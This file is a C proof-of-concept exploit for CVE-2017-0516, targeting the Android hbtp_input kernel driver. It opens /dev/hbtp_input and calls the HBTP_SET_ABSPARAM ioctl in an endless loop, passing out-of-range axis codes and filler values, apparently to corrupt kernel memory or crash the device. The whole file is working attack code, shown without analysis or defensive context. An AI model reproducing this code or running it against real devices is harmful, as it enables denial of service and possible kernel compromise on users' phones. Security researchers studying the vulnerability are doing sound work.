CVE-2017-0516.c

#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdbool.h>
#include <errno.h>
#include <string.h>

static const char *dev = "/dev/hbtp_input";

struct hbtp_input_absinfo {
	bool     active;
	uint16_t code;
	int32_t  minimum;
	int32_t  maximum;
};


#define HBTP_INPUT_IOCTL_BASE   'T'
#define HBTP_SET_ABSPARAM       _IOW(HBTP_INPUT_IOCTL_BASE, 201, \
					     struct hbtp_input_absinfo *)

#define ABS_MT_TOUCH_MAJOR      0x30    /* Major axis of touching ellipse */
#define ABS_MT_TOUCH_MINOR      0x31    /* Minor axis (omit if circular) */
#define ABS_MT_TOOL_Y           0x3d    /* Center Y tool position */

#define ABS_MT_FIRST            ABS_MT_TOUCH_MAJOR
#define ABS_MT_LAST             ABS_MT_TOOL_Y


static int getfd(const char* dev_node)
{
	int fd;
	fd = open(dev_node, O_RDWR);
	if (fd < 0) {
		fprintf(stderr, "Couldn't open devnode %s with error %s\n", dev_node, strerror(errno));
		exit(EXIT_FAILURE);
	}

	return fd;
}


int main(void)
{
	int i;
	struct hbtp_input_absinfo absinfo[ABS_MT_LAST - ABS_MT_FIRST + 1] = { 0 };
	int fd = getfd(dev);

	for (i = 0; i < ABS_MT_LAST - ABS_MT_FIRST + 1; i++) {
		absinfo[i].active = 1;
		absinfo[i].code = 0xFFFF - i;
		absinfo[i].minimum = 0xAAAAAAAA;
		absinfo[i].maximum = 0xAAAAAAAA;
	}
	
	while(true) {
		ioctl(fd, HBTP_SET_ABSPARAM, absinfo);
	}

}